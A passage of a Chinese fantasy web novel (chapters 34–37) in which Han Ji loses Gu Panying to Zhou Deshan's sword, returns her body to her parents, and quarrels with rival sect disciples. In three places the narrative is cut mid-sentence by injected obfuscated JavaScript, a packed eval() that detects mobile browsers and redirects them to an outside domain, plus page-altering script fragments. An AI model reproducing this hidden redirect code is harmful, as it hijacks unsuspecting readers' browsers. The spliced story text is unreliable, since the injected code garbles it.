顾盼英如同一匹执拗的小牛一般抓着韩纪的手,坚定道:“你骗我!你不是妖怪!我要想办法救你!” 韩纪无可奈何,便道:“你现在回济安寺,和主持说要一尊金佛像,让他们选几个身强体壮的弟子和你一道送来,我就能得救。” 顾盼英面露喜色,擦去眼泪,点头应道:“好!我这就回去!姐姐你撑住,你一定要等着我!” 她神色坚毅,韩纪心中思索:“这荒山野岭的,她是如何找到我的?得问一问,不然无论换多少个地方,她都会找到我。” 于是在她转身之时,韩纪轻声问道:“你如何找到我的?” 顾盼英皱眉道:“仙门道盟的弟子上济安寺来了,我看他们都回来了,可你没有回来,便出来寻。可我不知道你在哪里,只能漫无目的地找,好在皇天不负有心人,我在一片林子里遇见了阿随仙长,他说你在此处,我便过来了。” 说到这里,顾盼英的脸上露出几分自责,“若是我完全掌握了咒石的驱使之法,我便可以早一点到了。” 木屋外传来脚步声,离得不远不近,人数众多,韩纪心中一惊,只道自己若一个时辰内不得医治便会殒命,急声催促顾盼英离去。 顾盼英舍不得韩纪,但又挂心韩纪性命,赶忙将自己的外袍解下披在韩纪身上,急匆匆地走了。 韩纪看着她的背影,用尽最后一丝灵力掐诀施法替她隐去身形,本就收到重创的经脉强行调转灵力使得她又吐出一口血来。 “今天这一天怕是要把这辈子的血都吐干了。” 韩纪自嘲一声,坐在除妖阵中,冷目看向屋外黑压压的树木,昏沉沉的人影。 只听得木门微响,数个人影持着火把灯笼闪进屋来,四个身穿黄袍的捉妖师鱼贯而入,不由分说便在韩纪四周用糯米、黄符、红线布下阵法。 金铃在耳侧摇动,红线不断收紧,黄符一张张击入韩纪体内,韩纪只觉冰冷的身体猛然间坠入火炉之中,身体中的邪毒沸腾起来,连带着她的五脏六腑都一起烹煮。 她痛苦地躺倒在地,双眉紧皱,心中暗暗想道:“杀了那么多妖,今日也被人当成妖杀了,也算得上是死得其所。” 金铃声渐渐停歇,火光下走出一个矮胖的人影。 韩纪抬眼看去,只见那宽大非常的身躯上穿了一身极为奢靡惹眼的华袍,一个灯笼一般圆滚滚胖乎乎的脑袋甚是和谐的顶在上头,颇为滑稽。 那人恶狠狠地踢了韩纪一脚,骂道:“臭娘们,敢炸了老子的人妖之市,今你也落到老子手里了!” 韩纪这才将他认出来,她费力地从地上爬起身来,讥讽道:“这破屋今夜还真是门庭若市,你瞧这儿风水好,准备在这里做买卖么。” 话刚说完,周得善便啐了韩纪一口,颇为怨恨地说:“自从你毁掉人妖之市,劫走那只半妖后,我对你可是日思夜想。今夜若不是侥幸得半妖引路,我差点就要错过你了。” 半妖引路?这就是洛渭说的她会后悔么? 韩纪苦笑着,临死之际想起这两个月来尚未回寒山宗看一眼,尚未查清楚寒山宗弟子殒命的真相只觉十分遗憾,余光瞥见眼前这群不成气候的牛鬼蛇神,又暗自叹道真是龙游浅水遭虾戏,虎落平阳被犬欺。 眼见着她浑身浴血毫无反抗之力,却依旧用那轻蔑至极的目光瞥自己,周得善气恼至极,一脚踹在韩纪肩上,骂道:“去死吧!去死吧你!” 一旁的捉妖师满头大汗急声劝解道:“周老爷莫要再踹了!若是不小心破了这捉妖阵,届时她显出妖相,我们怕不是对手。” 周得善不情不愿地收回脚来,却又觉得脸上失了颜面,朝韩纪面上又啐一口,喘着粗气骂道:“你别以为我怕你,我有的是法子对付你。” 说到这里,他那双贼溜溜的眼睛忽的一转,奸笑道:“我倒是给你找到了一个好去处,你不想去也得去。” 韩纪知晓周得善的意图, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941800|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无非是等她开口询问他好借机羞辱她,那她就偏偏不问,只冷眼瞧着他。 这一下,周得善更是急得抓耳挠腮,气得怒火中烧,想再上前踹她,又担心她伤了自己,左顾右盼拉出一名侍卫来,命令道:“你!去将她的舌头挖了!既然不讲话,那舌头便不用留了!” 侍卫见这韩纪面容苍白,正是将死未死之际,又听得周得善命他拔去这姑娘的舌头,一时之间面露不忍之色,持剑立在除妖阵外,犹犹豫豫。 “我还呼不动你了!”周得善更为恼怒,夺过那侍卫手中长剑突下杀招,当即朝那侍卫的心窝一剑刺去,侍卫反应不及便被一剑刺穿,尸横当场。 鲜血溅在韩纪脸上,长剑哧的一声拔出,又被丢给下一个侍卫:“去!把她舌头挖出来!” 这会被拉出来的侍卫已见方才心慈手软的侍卫的惨状,哪里还敢违抗,只将手中长剑指向韩纪头颅,颤颤巍巍道:“你莫要怪我!”说罢,便举剑刺来。 韩纪伸出脚来绊他一绊,那侍卫便重重摔倒在地,一把长剑铮的一声落在韩纪手边。 此时离得近了,这侍卫抬起头来瞧见的便是韩纪皮肤上那隐约可见的蛇鳞,又见她鬓发散落,好似厉鬼,当即不敢靠近来捡回剑去,却也不敢退回周得善身侧。 “好好好!你们都怕她!你们都不敢!”周得善见自己花重金雇来的侍卫接二连三的受挫,只觉脸上毫无光彩,当下叫四五个侍卫一道按住韩纪的手脚,自己要亲自拔了韩纪的舌头。 韩纪早被他和这四位捉妖师烦得无可奈何,方才不言不语养了几分气力,待到周得善撸起袖管走近了,她一脚踹在那捉妖师背上借力翻转身体,挣脱抓住自己双手的侍卫,猛地抓住周得善飞扬的衣袍,用力一扯便将他扯进除妖阵中。 红线纠缠,金铃响动,韩纪强撑着一口气力将周得善压在身下便要掐瞎他的眼睛。 也怪周得善平日里只以敛财为乐,一时之间近翻不开韩纪的手腕,疼得哭爹喊娘,只道:“我的眼睛!我的眼睛!你们这群吃干饭的,拉开她!快拉开她!” 四边的捉妖师当即便站起来一个,与外头立着的侍卫一道将韩纪扯开,甩在除妖阵中。 韩纪被这猛地一摔,当即又止不住地呕血。 周得善摇摇晃晃地站起身,双眼通红,疼痛异常。 暴怒之下,他早已不记得还要拿眼前的女子卖银两,抽出身侧侍卫的长剑便往那害他丢了钱财又伤了眼睛的女子喉间刺去。 “去死吧!” 嗤的一声,灵光一现,长剑透胸而过,鲜血顺着剑锋滴落。 周得善不知眼前之人为何骤然出现,慌张中拔出长剑丢在地上。 少女如一只力竭的蝴蝶落下,韩纪挣开左右手的束缚,抢上前去接住这幅摇摇欲坠的身体。 顾盼英身上的粗布衣衫眨眼间便被血洇湿,韩纪手忙脚乱地替她捂住胸口,垂眼看时,却见她面容苍白,额间冒汗,极为痛苦。 见韩纪盯着自己,顾盼英濒死之际仍挤出一个勉强至极的笑容。 韩纪只觉浑身上下的经脉都被她这凄然一笑扯断了,一边尝试着施法捻诀替她续上性命,一边失声道:“不……不是让你走么……为什么要回来……为什么不听话……” 顾盼英张嘴想说什么,鲜血却无穷无尽地从她口中淌出,让她只能发出微弱窒息的咯咯之音。 她双目紧紧凝视着韩纪,颤抖着握住韩纪的手,一个滚烫的事物滑入韩纪手中。 韩纪低头看去,正是沾满了少女鲜血的咒石。 “砰”的一声,至少在韩纪耳中是“砰”的一声,那只苍白修长的手怦然滑落。 黑风呼啸,山林颤动。 韩纪抬眼看去,顾盼英眼睫垂落,气息断绝。 35. 毒解义绝 寒风刺骨,冷月无情。 除妖咒渐渐褪色,韩纪提起沾满顾盼英鲜血的长剑,无知无觉地从法阵中站起。 烛火熄灭,窗户处透出的月光洒在她身,让她浑身上下密密麻麻的蛇鳞显出玉一般的光泽。 金铃破碎,红线断裂。 东南西北四个方位压阵的捉妖师口中血涌如柱,不省人事。 周得善满脸惊恐地躲在一众侍卫身后,命令道:“杀了她!杀了她!” 眼见四个捉妖师死活不知,侍卫手握长剑,战战兢兢挡在周得善身前。 韩纪跨过沾满鲜血的糯米,浑身骨骼咯咯作响,一步一步逼近周得善。 “杀了她!快啊!”周得善焦急地催促道,“你们的命我已经买断了!你们要是不杀了她,回去老子就杀了你们!” 话毕,他一脚踹向一个侍卫。 那侍卫踉踉跄跄地扑至韩纪身前,举剑欲刺,却感觉自己撞在一堵墙上,猛地翻倒回来砸在周得善脚边,竟被活生生吓死。 周得善愤怒而惊恐地骂道:“你们这些废物!养你们有何用!还看着我做什么,赶快上去把这妖怪杀了!谁杀了这妖怪我赏二十两金!” 他本以为重金之下必有勇夫,可谁曾想他一生爱财如命,花了多少便要索取多少。 就好比这些侍卫拿了他百两银保他安危,这一路上不光给他当牛做马,挡枪除祸,若惹得他不快他轻则将人打残,重则趁人不备要人性命。 半月以来不知多少侍卫死在他手上,因此他此话一出,竟无人敢动弹。 韩纪强忍着剧痛,只觉浑身上下的灵力已经枯竭,鲜血已经流干。 她提起最后一股护住心脉的灵力,冷声说道:“我一定要杀他,挡我者死。” 她本希望这些侍卫能自行离去,却不曾想周得善高声说道:“你们都是与我签了生死契的侍卫!今日你们若是奔逃,我兄长绝不会放过你们!但如果你们救了我,战死一命一千两金!没死的无论功过一百两金!” 重金之下必有勇夫,如果没有,那就是钱给得不够多。 侍卫的眼神渐渐在犹疑之中变得决绝,七八个抽出长剑弯刀将韩纪围在正中,又有七八个搀起周得善往外奔去。 韩纪目光追随着周得善,长剑如风破开包围圈朝着周得善追去,却被断后的侍卫拦去前路。 一时之间,茅屋之中,刀剑相交,寒光阵阵。 韩纪被十余个侍卫围攻,与他们斗得极为激烈,丝毫不落下风,但她本就是强弩之末,渐渐感到力不从心。 一众侍卫见这女子出剑速度越来越慢,心中不由得轻慢起来。 饶是此人可能是妖,但此时颓势已现,在他们围攻之下再撑不得一时半刻。 侍卫们暗暗争斗,都想率先斩下女子首级。 便在此时,众人围困之中青影闪动。 听得几声疾呼,韩纪手中长剑已将最前的七八个侍卫喉管割断,提剑直直向周得善追去,刚出院门,却又被剩下的四个侍卫缠住手脚。 眼见着周得善的身影要消失在山林之中,韩纪再顾不得其他,使出最后一丝气力将长剑从手中掷出。 长剑疾驰而出,在一片昏暗之中犹如一道电光击向周得善后背,周得善陡然惊觉,猛地拉过身侧的侍卫抵挡。 砰的一响,长剑穿过侍卫后背,仍向前疾飞刺入周得善前胸。 听得几声惨叫,周得善身影跌倒在地。 围住韩纪的四名侍卫早已精疲力尽,看见这惊心动魄的一幕,生怕这女子陡然发狂将自己也杀了,纷纷弃剑逃离。 韩纪身子摇摇晃晃再也站立不住,跪倒在院门之外。 韩纪知晓自己今日必死,好歹杀了周得善为顾盼英偿命,虽觉遗憾,但也坦然接受。 未曾想闭眼之时听得山林中传来疾呼,她抬眼看去周得善捂着前胸在两名侍卫的搀扶下逃出生天。 韩纪看着他奔逃的身影消失在黑压压的山林之中,起身欲追,却猛的呕出一口黑血,再也站不起来。 意识消散之前,韩纪凝视着苍茫茫的一片黑夜,暗暗叹道:“真是不甘心。” 再醒来,韩纪已回到木屋之中。 月光自窗户之中投射进来,照在墙角顾盼英尸首上,洗去她唇边鲜血。 韩纪睁眼刹那瞥见她洁白而秀美的面容不免有几分恍惚,可她右胸上血淋淋的一片又让韩纪回到了现实。 身后的人收回施法的手,低声道:“修蛇之毒已解,另一层奇毒是‘天生万苦’,传说中此毒于平常人而言近乎无毒,但克制一切灵力,若想解开此毒,须得散尽修为,否则一旦调动体内的灵力,便会经脉尽断而死。韩宗主,你不能再动用灵力了,跟我走吧。” 韩纪想起谢必贞死前之言,推测这“天生万苦”当是陆识舟在将悬息壤炼成药丸时夹在其中的。 悬息壤中封印了她的一部分力量,无论是谁拿到了悬息壤,一旦想将悬息壤炼化,便会在得到力量的同时中天生万苦。 如此一来这人为了活命要么干脆散尽浑身修为重新修炼,要么在施法之时经脉寸断而死,无论是哪一种都能保证悬息壤其中的力量不会被使用,确实是个好计谋。 只可惜,几经辗转,七十年后,这悬息壤让她自己用了。 韩纪心中感慨万千。 微微平复心神,韩纪颤颤巍巍地走到顾盼英的尸首前,伸手擦去她脸上血迹,将那一件干净的外裳给她穿上,才将她背在背上,一步步往屋外走去。 洛渭抢在韩纪身前,劝道:“韩宗主,我会找全天下最好的大夫,用最好的药治好你,你跟我走。” 韩纪抬起头来,寒森森的目光直视着他,反问道:“阿随?洛渭?洛宗主!你我之间有何干系,用你来救我?” 洛渭神色一凛,似是没想到韩纪已知晓自己身份,半晌才道:“韩宗主……我走之后想了想……当日若非你在人妖之市救下我,我也未必能活到今日。从嘉州城到巴陵城,你我相处两月也算有几分交情,我实在不忍你曝尸荒野……” 韩纪轻蔑冷笑:“几分交情?” 她抽出一只手来在怀中摸索,将那根褪了色的五彩绳抛在地下,淡淡道:“现在没有了。” 说罢,她背着顾盼英的尸体,缓缓越过洛渭的身影,头也不回地说:“我劝你,趁早杀了我。不然你我再见之时,即是我杀你之日。” 洛渭听了她的话,面色渐渐白了。 他捡起沾满尘土的五彩绳,握在手中,半晌不言。 在墨色眼眸中,透明的海在翻涌。 在韩纪即将走出小院时,洛渭终是追了出来,急声说道:“韩宗主,那锁妖契被施了追踪之术,你须得尽快毁了。” “你不可再动灵力,须得尽快去祈灵山请顾山主医治。” 韩纪没有理会他的提醒,只道:“你再跟着我,我今日就算是经脉寸断,也要和你同归于尽。” 洛渭心中虽有无数担忧,却也不得不停住脚步。 韩纪背着顾盼英走进山林之中,看着山头初升的太阳,呆立了半晌。 日光暖融融的照在林子里飘浮的薄雾上,不多时薄雾便融化成一层晶莹剔透的露珠挂在韩纪发间。 韩纪想起昨天这个时候,她正在济安寺门前与顾盼英作别,不过一天,便已在阴阳两界。 人死如灯灭。 如今所在之处距离济安寺相隔甚远,她需先先下山,穿过整个巴陵城,才能看见济安寺的山道。 这么远的距离,盼英这小丫头片子居然可以凭借咒石来去自如,当真是天赋非凡。 韩纪这样想着,勾着她双腿的手不自觉地往上提起,她垂落在韩纪胸前的手便在寒风中直挺挺地搭着,一动不动。 韩纪背着顾盼英走过长街,两边商户支起摊子来。 小贩开始叫卖,蒸腾的水汽盘旋在街道两侧,茶摊上时不时出现探查访问的仙门弟子。 “道爷!昨夜听说你们进巴陵城除了蛇妖,大功一件!快将包子吃了!” “仙长仙长,尝尝我家的米粉!早饭吃这个,再好不过了!” “道爷,这只活鸡是我的小小心意,不要嫌弃,快快收下!” 韩纪一身尘埃,满面污泥,背着顾盼英从长街上穿过,没引起任何人的注意,也没注意到任何人。 济安寺门里吵吵嚷嚷,身穿各色仙门制服的弟子与和尚进进出出。 韩纪请了位扫地的小和尚带路,来到顾盼英父母休息的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941801|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢房前。 她欲伸手叩门,手抚上木门却没了动作。 登上济安寺石阶时,她尚不觉背上尸身有多重,可在这扇门前,她被压得喘不过气来。 “也罢,何必让二老白发人送黑发人,不如与他们说盼英被仙门长老收去做徒弟,从今往后要抛却红尘,专心修炼,如此一来也免得两个老人再次经受丧女之痛。”韩纪这样想着,收回手来,正准备离去,却听得身后传来嘎吱一声,木门打开。 她回过头,正对上顾大爷布满皱纹的脸。 “楚仙长,看见您平安归来真是太好了。”顾大爷开口唤道,目光落在顾盼英低垂的脑袋上时微微一松,一边将木门推开让韩纪进屋,一边道,“英儿这丫头,昨天晚上非说要去寻你,我们怕她给你添麻烦不让去,就是拦不住,还麻烦您将她带回来。” 顾大娘也从一旁急急走出,埋怨道:“英儿这个不懂事的,怎么能让楚仙长背上来呢,都进屋了还不赶快下来。” 顾大爷慈祥地笑道:“估计是累着了,睡着呢。” 顾大娘连忙去理床铺,冲着韩纪不好意思地说:“楚仙长,真是麻烦你了,快快将她放下来,别累着你了。” 韩纪不知如何答话,走到床边将顾盼英放在蓝底白花的床褥上。 几乎是一瞬间,顾大娘就瞥见了顾盼英胸前伤口。 她惊呼出声,连忙握住顾盼英的手,却不曾想那手凉冰冰,竟如死人的一般。 顾大娘的目光在顾盼英、韩纪、顾大爷的身上慌乱的转着。 她想开口问韩纪,又想开口喊丈夫,可最终却是盯着顾盼英惨白的脸,痛呼道:“英儿,你怎么了?你醒醒,睁开眼睛看看娘……你别吓唬娘……” 正在给韩纪斟茶的顾大爷闻声停了手中动作,挤到床边探头看去,只见自己闺女胸前一个剑洞,双目紧闭,面色如纸,正与大女儿死时的神情一模一样。 他颤抖着手伸手去搭女儿脉搏,可那往日柔软温暖的手如今比铁还硬,比冰还冷。 他一时间心乱如麻,如坠冰窟,踉跄跪在韩纪脚边,问:“楚仙长……英儿怎么会受这样重的伤……你本事通天有没有救她的方法……” 他话音未落,顾大娘也跪倒在韩纪脚边连声哭求。 韩纪浑身的力气都被抽走了。 她连忙将二老扶起,却无论如何也使不出来,只得避开他们的目光,低低道:“救不了了……” 顾大爷怆然涕下,顾大娘却仍抓着韩纪的手不死心地问道:“怎么会没有办法呢,楚仙长你救救她,老婆子求求你,我就剩下这一个女儿了……” 顾大爷陷在丧女之痛中,见韩纪神情凄然,忍痛将妻子扶起,哽咽道:“若是有救她的法子,楚仙长早就救了。她说救不成了,便是救不成了,老婆子,咱们认命吧!” 顾大娘闻言转身扑在女儿尸身上嚎啕大哭。 韩纪见此凄惨情景,又想到顾盼英是为救自己而死,心下更加自责,道:“顾大爷,顾大娘,盼英为救我挡下恶人周得善一剑,因此而死。我必杀周得善为盼英报仇雪恨,只是我欠她的,欠你们的怕是再也还不清了……” 顾大娘闻言偏头看韩纪,泪如雨下,目光怨怼,可那怨怼登时又消散了。 她茫然地看着周遭的一切,一时之间竟不知道该怪谁,只能低声哭诉道:“我儿命苦啊!我儿命苦啊!” 顾大爷哽咽道:“楚仙长,若非你出手相救,英儿早就葬身虎口了,这恐怕是她命定的劫数,怪不得你……是英儿自己命苦……周得善……周得善这个天杀的恶人!我要替英儿报仇雪恨,我豁出这条老命也要杀了他!杀了他呀……”话未说完他再坚持不住,慢慢跌坐在地,浑浊的眼中不断淌出泪水。 哭嚎声不多时便引得济安寺的监寺和尚踏进屋中,见顾大爷满面泪水,顾大娘扑在女儿身上嚎啕大哭,监寺和尚已猜到其中原委,面露不忍,吩咐身侧弟子:“广明,你带几名弟子取上法器给顾姑娘诵念往生经文,为她超度。” 他吩咐完又劝道:“阿弥陀佛,二位施主,顾姑娘一生积德行善,如今已功德圆满,苦尽甘来,做父母的需让她入土为安,助她早登极乐。”说罢,目光转过韩纪,意味深长地叹息一声,退出屋内。 36. 再遭诬陷 “此次祸事,巴陵城死伤上千人。济安寺为了超度这些亡魂预备办一个月的水陆法会,仙门道盟的长老此刻也在寺中为那些伤重难愈的百姓们疗伤。” 说话的声音从远至近,停在韩纪身边。 “我们玉苍派小门小派的,清季师姐都去请了好几次,也不见人来看看清妙师姐。她伤得这样重,会不会……” 一个女子在床榻旁轻声哭泣起来,又有一人安慰她。 韩纪被话声吵醒,睁开眼来。 二人背对着她,继续小声说着话。 韩纪看了一眼二人的衣着,凭着楚清妙先前的记忆,认出是二人正是玉苍派的弟子许慧君、陈知竹。 她头痛欲裂,恍惚间忆起那日她埋葬盼英、拜别顾父顾母后本想找间药铺买些草药,却不曾想体力耗尽,两眼一黑,此后事情一概不知。 回忆往事,韩纪便想起顾盼英的面容与二老佝偻的身躯,两位老人年事已高,膝下又无子女,以后的日子又该怎么度过呢? 韩纪不由得长叹了一口气。 “你做什么叹气?” “我愁啊,清妙师姐都昏迷了三日了。” 韩纪这才知道自己昏迷三日,怪不得肚子这样饿。 她正想拍拍陈知竹的肩膀要些吃食,陈知竹便与许慧君便说起笑来。 “慧君,你不是吃了好多馅饼么?肚子怎么这样响?” “你不要诬赖我,我肚子没有叫,是你的!” “明明是你的,还不承认!” 韩纪凑近她们后颈,轻声道:“是我饿得肚子叫。” 二人被吓得吱哇乱叫,跌倒在地,回头发现是她,面上的惊恐神色被喜悦替代。 陈知竹推开门去大呼:“清季师姐!清妙醒了!” 许慧君则连忙将桌案上的糕点茶水端到韩纪面前,道:“清妙,你先吃点这个垫垫肚子,一会儿我再出去给你买点饭食。” 韩纪接过糕点一口一个,狼吞虎咽,吃相颇为不雅。 刚吃得没几个,一个年龄稍长的女弟子便推门进来,为韩纪摸脉,见韩纪周身伤势皆好转许多,不似前几日那般伤重,看向一旁的许慧君,冷声问道:“慧君,这几日你给她吃了些什么?” 许慧君低下头去,踌躇片刻,低声说:“清季师姐,明霞宫卫师兄来了好几次,送来了许多人参仙草……我……熬了汤喂给清妙了。” 楚清季听了,脸上现出怒色,骂道:“这些假正派伪君子!我诚心诚意地去请他们门中长老为清妙治伤,个个推脱!现下又让弟子拿些人参来卖我们的人情,真是看不起人。” 她说完话,目光又在陈知竹脸上扫过,见她一脸心虚,冷声又问:“你呢?你给她吃了什么?” 陈知竹支支吾吾道:“有仙门弟子送来了上好的灵芝,我……我熬了一些……” 楚清季冷冷道:“哪个弟子?” 陈知竹认命般闭上眼睛:“裴——” 楚清季指着陈知竹的脸,暴怒骂道:“裴云齐?!你居然要那个王八蛋的东西!” 两侧的弟子不敢答话,一时之间房间中只有韩纪吃糕点的声音。 她后知后觉地反应过来,讪讪地放下手中糕点,颇为尴尬地说道:“各位师姐、师弟、师妹,你们谅解一下,我要饿死了。” 楚清季见她还是如往常一般不成器,忍不住叹了口气,冷冷道:“吃你的吧,从前的事情咱们都不提了,只盼你赶快将身体养好,我们好回玉苍派面见师父。” 想到师父老人家那副身子骨,楚清季愁容满面,又问:“你见过楚寒没有?” 楚寒? 韩纪回忆着楚清妙的记忆,眼前浮现那个少年的身影,便问:“那日在葬灵山中,我拖住食人帮,他去请人救援。怎么,他事后没回玉苍派么?” 楚清季眉头微蹙,摇了摇头,道:“没有。后来我们也问过仙门道盟的人,他们说楚寒等不及他们率先去救你了,可他们寻到你时,楚寒并不在。我与几个师弟也在葬灵山中找寻过,可一无所获。” 韩纪也不知这楚寒去了何处,答不上话又怕露馅只得一味地往嘴里塞糕点。 楚清季还以为她饿极了,面上冷色褪去,眼中柔情稍显,叹道:“这几个月你一个人孤孤单单在外面不好过吧,我知道你心怀愧疚不敢面见师父,可师父他老人家一直记挂着你这个爱闯祸、爱惹事、心思单纯老被人骗的小徒弟。此番我们找到你了,你乖乖跟我回玉苍派,不然我就只好绑你回去了。” 韩纪本也打算解开体内封印后去一趟玉苍派拜见这位楚掌门,可如今她身中天生万苦,无法再用灵力,体内封印无论如何也解不开,就算回了玉苍派又有什么用? 更何况,周得善未死,盼英大仇未报,她如何能一走了之。 见她不言语,楚清季向她凝视半晌,脸色微变,叹道:“我听闻你为了救裴云齐一个人闯了城主府,可是对他旧情难忘?” 韩纪神色一凛,往嘴里塞糕点的动作都慢了一些,惊讶地说:“谁传的谣言?我撕烂他的嘴。” 楚清季只道:“外面的仙门弟子都这样说,不仅说你为了救情郎逞英雄的,还有说你没有自知之明强出头,被蛇妖打得落荒而逃的。” “落荒而逃?我?”韩纪将最后一口糕点嚼完,皱眉问,“那是谁杀了蛇妖?” 楚清季目光看向院外,冷冷道:“仙门道盟叶长老,据说他第一个赶到巴陵城收服了蛇妖。” 韩纪闻言心想:“楚清妙只是玉苍派一个修为平平的弟子,若是我此时说是我收服了蛇妖,难免会引来许多非议,倒不如就让叶岱渊顶这个功劳,后面再找他算总账。” 这样想着,她便点点头淡然道:“那还多谢他,若是他不出手收服蛇妖,恐怕我也难逃一死。” 院内忽然传来争吵声,楚清季出门查看,韩纪也穿好衣裳推开小窗听着。 “仇千水,裴云齐,你们不要太过分了!这院子一直是我们住着!凭什么你们逍遥峰的院子不够住了,便要来霸占我们的!” 裴云齐正声道:“诸位道友,莫要多想,虽说叶长老斩杀修蛇,救下全城百姓性命,但巴陵城中受伤的百姓还有许多需要安抚安置,仙门道盟难免要多派些弟子,如今逍遥峰弟子出人最多,分配的院子住不下了,我们也是经过叶长老点头同意才来找你们商议的。” 仇千水冷笑道:“逍遥峰借用你们的院子自会给你们些好处,况且也不要求你们搬走。现下只有你们的院子没有住满,你们该不会还记恨着先前之事刻意与我们为难吧?” 许慧君冲上前去,板着脸问:“怎么?我们还要感恩戴德么?” 仇千水正要答话,余光却瞥见小窗后的韩纪,噗嗤一笑,道:“楚清妙,那日你在城主府逞英雄,我还以为你转性了,却不曾想你这个玉苍派弟子还是一样的临阵脱逃,不成气候。” 韩纪并不恼火,她灵巧地翻出小窗,站在楚清季身侧,目光在院外十余个年轻稚嫩的面孔上扫过,转向裴云齐和仇千水,拍手夸赞道:“二位好威风啊!当日被绑在城主府诛妖柱上时怎么不将这威风给蛇妖耍耍!他要是见到你们如今这雄赳赳、气昂昂的模样,恐怕早就吓得屁滚尿流,哪还有胆吃你们。” 仇千水闻言脸上白一阵红一阵,裴云齐却波澜不惊地说道:“清妙师妹,我们无意打扰玉苍派的弟子休息,只是逍遥峰赶来支援的弟子实在太多,还有十几个弟子没地方住。你劝劝清季师姐,让她放下私仇恩怨,顾全大局。” 韩纪只觉他这话说得极为漂亮,转头问楚清季:“师姐,你们关押在逍遥峰时有床睡,有被子盖么?” 玉苍派弟子都面露愠色,楚清季更是面色一冷,当场便要发怒,最终强行忍下怒意,答道:“逍遥峰碧玺洞除了冰冷刺骨的潭水和坚硬如铁的石头,什么也没有。” 韩纪笑意盈盈地看向裴云齐:“玉苍派的弟子睡得石头,你们逍遥峰的弟子便枕不得草地么?” 说话间,韩纪就要把院门合上,仇千水当即伸手卡住院门,冷声道:“楚清妙,巴陵城中各门各派居住的地方本就是仙门道盟统一租下分配的,你们若是强词夺理毫不退让,别怪我禀报叶长老,让你们滚出去。” 裴云齐连忙拦住仇千水,柔声道:“清妙师妹,我知你们玉苍派因先前的误会不喜我逍遥峰,但这两月来逍遥峰也送去不少灵药去玉苍派。听闻楚掌门如今体内寒毒未清,他若知道我们二派之间又起争端,怕是也不利于休养。” 韩纪正准备将仇千水一脚踹出门去,楚清季便将她拦住。 她此时收了脸上怒容,一言不发地将院门推开,道:“进来吧。” 一旁的玉苍派弟子还想阻拦,也被楚清季用眼神制止了。 韩纪知晓估计是楚掌门如今的身体需灵药调养,裴云齐方才暗暗以此相要挟,楚清季顾念师父身体不得不退让,心中对这个裴云齐的意见又多了一些。 “各位师弟师妹,此处后续就是我们休息的地方,务必要小心行事,谨言慎行,不要得罪了玉苍派的道友们。”仇千水得意洋洋地嘱咐。 十余名逍遥峰弟子大摇大摆地进了院子,个个眼高于顶,不可一世。 他们心道玉苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与裴云齐相比,她不得不承认那只狐狸还是没有那么讨人厌。 韩纪深吸一口气才忍住翻脸就走的冲动,看着裴云齐,一字一字道:“我不生你的气,我只是厌恶你。我不想听你的解释,也不需要你的解释。” 说罢,她转身离去,却不曾想裴云齐忽然冲上前来,从背后紧紧地抱住了她。 “阿妙,我可以解释的,那日我醒了才知道你为了救我偷盗了回元草,我本来是要去救你的,可是——” 他抱得很紧,仿佛真的害怕她离开。 “——我数到三,如果你不松开手,我就要喊了。”韩纪无法调用灵力,重伤未愈,虚弱至极,挣脱不开他缠在腰间的双手,只得冷冷道,“我猜你这个逍遥峰的高徒,绝对不希望被人发现和我这个偷盗逍遥峰至宝的人纠缠不休。” 裴云齐解释的话声停住。 “一。” “二。” 裴云齐慢慢地松开手,手指却不死心地勾着韩纪的衣袖,低低道:“你好像……变了很多……我感觉我不认识你了……难道我们这么多年的感情……你就不能给我一次机会吗?” 韩纪重重叹了口气,痛苦地闭上了眼睛。 她并不是在为自己叹气,也不是为自己痛苦。 她能感受到楚清妙对裴云齐的爱,自然也能感受到楚清妙的绝望。 楚清妙能为裴云齐孤身一人闯进青云道盗取仙草,可裴云齐的爱却是黑暗中腐烂的尸体。 尸体上面开满了花,尸体下面爬满蛆虫。 叹息声止,韩纪睁开眼大踏步往前走去,在转角时停住了脚步,轻声道:“裴云齐,其实如果你继续说下去,我会听你说。可惜,你是一个自私自利的男人,是一个彻头彻尾的懦夫。” 裴云齐听了这话,猛地抬起头来,眸光之中什么东西亮了一瞬,犹疑刹那,期期艾艾道:“你……你不是楚清妙……她从来不会这样和我说话……不不……清妙……你告诉我你到底怎么了……” 韩纪没有理会他,径直离去。 甩开裴云齐后,韩纪翻上院墙准备开溜。 未曾想,她才刚刚攀上墙头,一片黑暗的屋子里便传来惊呼声。 油灯骤亮,韩纪下意识往下看去,几个逍遥峰的男弟子便提着剑冲了出来,目光牢牢锁在墙头的韩纪身上,怒道:“不要脸的女子!居然偷盗裴师兄的贴身香囊!快快交出来!否则别怪我们与你不客气!” 37. 玉苍师兄 小院里吵闹声惊飞树枝上栖息的鸟儿。 淡淡月光下,韩纪骑在墙上,摸不着头脑。 玉苍派弟子披上衣服走出屋子,楚清季一眼就看见了骑在墙上的韩纪。 